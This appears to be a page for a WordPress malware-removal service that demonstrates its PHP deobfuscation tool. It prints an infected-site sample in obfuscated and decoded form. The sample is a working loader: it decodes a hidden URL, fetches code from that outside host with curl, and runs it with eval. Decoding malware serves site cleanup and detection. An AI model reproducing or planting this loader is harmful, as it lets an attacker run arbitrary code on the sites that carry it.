Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /* * 欢迎使用恩科加密工具 http://www.baidu.com/ * 恩科网络专业承接网站站开发修改修复。企鹅：3579 */ function O991ad8c5O($O3b6ba299O){switch($O3b6ba299O){case('O96f527f0O'): return base64_decode('T2U1MjQ0ZWUxTw==');case('Ob8360b4fO'): return base64_decode('YUhSMGNITTZMeTlrZVRGekxtaHFhR1I1TG1OdmJTOWtlUzkwTVhvdWRIaDA=');cas...



Obfuscated php code

<?php 
/*
* 欢迎使用恩科加密工具 http://www.baidu.com/
* 恩科网络专业承接网站站开发修改修复。企鹅：3579
*/

function O991ad8c5O($O3b6ba299O){switch($O3b6ba299O){case('O96f527f0O'): return base64_decode('T2U1MjQ0ZWUxTw==');case('Ob8360b4fO'): return base64_decode('YUhSMGNITTZMeTlrZVRGekxtaHFhR1I1TG1OdmJTOWtlUzkwTVhvdWRIaDA=');case('Oaf01fef8O'): return base64_decode('TzA0NzdkNDgyTw==');case('O97173bb2O'): return base64_decode('UHo0PQ==');case('Oee77678aO'): return base64_decode('T2U1MjQ0ZWUxTw==');case('O58458408O'): return base64_decode('TzA0NzdkNDgyTw==');}}function Oa9ed7f60O($O20745627O){switch($O20745627O){case(O991ad8c5O('O96f527f0O')): return base64_decode(O991ad8c5O('Ob8360b4fO'));case(O991ad8c5O('Oaf01fef8O')): return base64_decode(O991ad8c5O('O97173bb2O'));}}error_reporting(0);$Od541b905O =Oa9ed7f60O(O991ad8c5O('Oee77678aO'));@@@@@$Ob904940cO = curl_init($Od541b905O);@@@curl_setopt($Ob904940cO, CURLOPT_RETURNTRANSFER, 1);@@@@$O8f95a8b2O = curl_exec($Ob904940cO);@@@@eval((Oa9ed7f60O(O991ad8c5O('O58458408O')).$O8f95a8b2O));

Decoded(de-Obfuscated) php code

<?php

/*
* 欢迎使用恩科加密工具 http://www.baidu.com/
* 恩科网络专业承接网站站开发修改修复。企鹅：3579
*/
function O991ad8c5O($O3b6ba299O)
{
    switch ($O3b6ba299O) {
        case 'O96f527f0O':
            return "Oe5244ee1O";
        case 'Ob8360b4fO':
            return "aHR0cHM6Ly9keTFzLmhqaGR5LmNvbS9keS90MXoudHh0";
        case 'Oaf01fef8O':
            return "O0477d482O";
        case 'O97173bb2O':
            return "Pz4=";
        case 'Oee77678aO':
            return "Oe5244ee1O";
        case 'O58458408O':
            return "O0477d482O";
    }
}
function Oa9ed7f60O($O20745627O)
{
    switch ($O20745627O) {
        case O991ad8c5O('O96f527f0O'):
            return base64_decode(O991ad8c5O('Ob8360b4fO'));
        case O991ad8c5O('Oaf01fef8O'):
            return base64_decode(O991ad8c5O('O97173bb2O'));
    }
}
error_reporting(0);
$Od541b905O = Oa9ed7f60O(O991ad8c5O('Oee77678aO'));
@@@@@($Ob904940cO = curl_init($Od541b905O));
@@@curl_setopt($Ob904940cO, CURLOPT_RETURNTRANSFER, 1);
@@@@($O8f95a8b2O = curl_exec($Ob904940cO));
@@@@eval(Oa9ed7f60O(O991ad8c5O('O58458408O')) . $O8f95a8b2O);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.